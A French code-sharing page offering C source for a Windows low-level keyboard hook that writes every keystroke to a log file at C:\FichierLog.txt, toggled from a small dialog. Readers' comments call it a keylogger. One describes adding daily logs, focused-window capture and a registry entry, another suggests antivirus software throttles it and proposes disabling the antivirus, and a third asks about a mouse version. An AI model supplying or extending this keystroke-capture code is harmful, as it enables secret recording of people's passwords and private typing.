Soyez le premier à donner votre avis sur cette source.
Vue 25 799 fois - Téléchargée 2 458 fois
// Ce code fonctionne sur Windows 2000, XP, ou NT4 SP3 et supérieur #define _WIN32_WINNT 0x0400 #include <windows.h> HHOOK hHook; // Handle du hook global HINSTANCE hExe; // Handle de notre exécutable // Fonction de gestion du hook __declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam) { if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) { // Structure de récupération d'infos sur la touche tapée KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam); // Obtenir la lettre de la touche tapée char lettre=(char)hookstruct.vkCode; // Compteur des octets écrits pour WriteFile() DWORD Ecrits; // Ouverture du fichier log. Le créer s'il n'existe pas. HANDLE hFichier = CreateFile("C:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); // Si le handle retourné est valide alors if( hFichier != INVALID_HANDLE_VALUE) { // Mettre le pointeur du fichier à la fin SetFilePointer(hFichier,NULL,NULL,FILE_END); // Ecrire la lettre dans le fihier log WriteFile(hFichier,&lettre,1,&Ecrits,NULL); // Fermer le fichier CloseHandle(hFichier); } } // Renvoi des messages au sytème pour permettre d'autres hooks return CallNextHookEx(hHook, nCode, wParam, lParam); } //Fonction de la boite de dialogue BOOL CALLBACK MainDlgProc( HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam ) { static HWND hBouton;//Handle du bouton static int etat;// Flag d'état du hook switch( msg ) { case WM_CLOSE: // Clic sur la croix de fermeture // Fermeture de la boite de dialogue EndDialog( hDlg, TRUE ); return 1; case WM_INITDIALOG: //Initialisation de la boite de dialogue // Création du bouton Activer/Désactiver hBouton = CreateWindow("BUTTON", "Activer le hook", WS_CHILD | WS_VISIBLE , 50, 35,140, 30, hDlg, 0, 0, 0); // Obtenir le HANDLE de l'exécutable en cours hExe = GetModuleHandle(NULL); // Mettre le flag d'état à 0= Hook inactif etat=0; // Fin d'initialisation return 1; case WM_COMMAND: // Appui sur le bouton if( lParam == (long) hBouton) { if (!etat)//Si hook inactif alors { // Activer le hook hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, NULL); //Mettre le flag d'etat à 1 (actif) etat=1; // Changer le texte du bouton SetWindowText(hBouton,"Désactiver le hook"); } else //Si hook actif alors { // Désactiver le hook UnhookWindowsHookEx(hHook); // Mettre le flag d'état à 0 (inactif) etat=0; // Changer le texte du bouton SetWindowText(hBouton,"Activer le hook"); } break; } } return 0; } //Fonction principale: Création d'une boite de dialogue sans ressources int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow ) { // Allouer de la mem pour notre dialog template LPDLGTEMPLATE lpdt = ( LPDLGTEMPLATE) GlobalAlloc(GPTR, 512); if (!lpdt) return 1; // Définir les propriétés de la boite de dialogue lpdt->style = WS_POPUP | WS_BORDER |WS_MINIMIZEBOX| WS_SYSMENU | DS_MODALFRAME | WS_CAPTION; lpdt->x = 100; lpdt->y = 100; lpdt->cx = 120; lpdt->cy = 50; // Obtenir pointeur sur la zone du nom de la boite de dialogue LPWSTR lpnom=(LPWSTR) (lpdt+1)+2; // Convertir le nom en UNICODE et le mettre dans la zone nom MultiByteToWideChar (CP_ACP, 0, "Hook Global Sans DLL", -1, lpnom, 128); // Lancer la boite de dialogue DialogBoxIndirect(hInstance,lpdt,NULL,(DLGPROC)MainDlgProc); // Libérer la mémoire allouée puis quitter GlobalFree((HGLOBAL) lpdt); return( FALSE ); }
16 juil. 2013 à 09:35
C'est ce que je m'étais dit aussi en premier lieu surtout qu'il fonctionne sous un pc équipé d'Avast mais pas sous un autre avec Avira...
Par contre ce qui est étrange c'est que même en désactivant l'antivirus j'obtiens le même résultat et d'ailleurs il n'y a aucune inscription dans les logs d'Avira d'une action sur le programme !!! Bon en même temps s'il est sensé le manipuler tout seul sans informer l'utilisateur ça peut se comprendre bien que je trouve ça assez dérangeant à vrai dire...
Il me reste plus qu'à tester les programmes qui tournent sur mon PC un par un jusqu'à ce que je trouve le responsable ^^ !
Merci encore et si jamais tu trouves une autre piste je suis tout ouï =)
15 juil. 2013 à 22:31
Désolé pour le retard car je viens juste de lire ton commentaire.
Je n'ai pas le temps de faire des investigations sur le sujet mais il me semble que certains nouveaux antivirus au lieu de bloquer un keylogger utilisant un hook clavier, ils controlent son activité. Après un certain nombre de frappes il l'empêchent de fonctionner correctetemt. Essaie de déasactiver ton antivirus un instant pour voir.
8 juil. 2013 à 16:55
J'avais déjà, il y a quelques années, téléchargé cet(te) source et rajouté pas mal de petites options avec succès (enregistrement dans un fichier par jour, gestion des dead-keys, impression système de la fenêtre ayant le focus, inscription dans le registre...)
Mais je viens de me rendre compte en me penchant sur les fichiers de sortie qu'après un certain nombre aléatoire de caractère capturé le keylogger se bloque sans aucun message d'erreur !!!
Après de nombreuses tentatives infructueuses de modification, j'ai téléchargée de nouveau la source histoire de vérifier... Eh bien rebelotte !!!
En mode debug sur Visual en rajoutant un point d'arrêt dans la fonction HookProc, on constate que celui-ci n'est plus atteint lorsqu'une touche est pressée : même si le logiciel continue de tourner il semble ne plus avoir la "main" au niveau des interceptions des messages...
D'ailleurs on s'en rend compte assez rapidement avec les dead-keys : le keylogger bloque étrangement l'accent circonflexe combiné à une lettre alors que lorsqu'il plante on obtient de nouveau "ê" !
Du coup je me demandais si c'était pas justement à cause de cette instabilité que la MSDN recommande l'usage d'un hook avec DLL ? A moins que même avec une DLL, on ait ce problème ???
20 juil. 2007 à 02:16
Cque je peux etre bete des fois ... c'était MOUSEHOOKSTRUCT ... (sigh)
20 juil. 2007 à 02:01
par contre pour modifier le code en hook souris la je patine un peu ...
Je peux mettre un hook souris, ça marche mais ensuite je ne sais pas en
quelle structure caster le lParam pour obtenir les coordonnées de la souris
au moment du clic ... (pour le clavier c'est KBDLLHOOKSTRUCT)
J'ai essayé avec MOUSEDLLHOOKSTRUCT mais ça marche pas ...
Quelqu'un pourrait éclairer ma lanterne ?
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.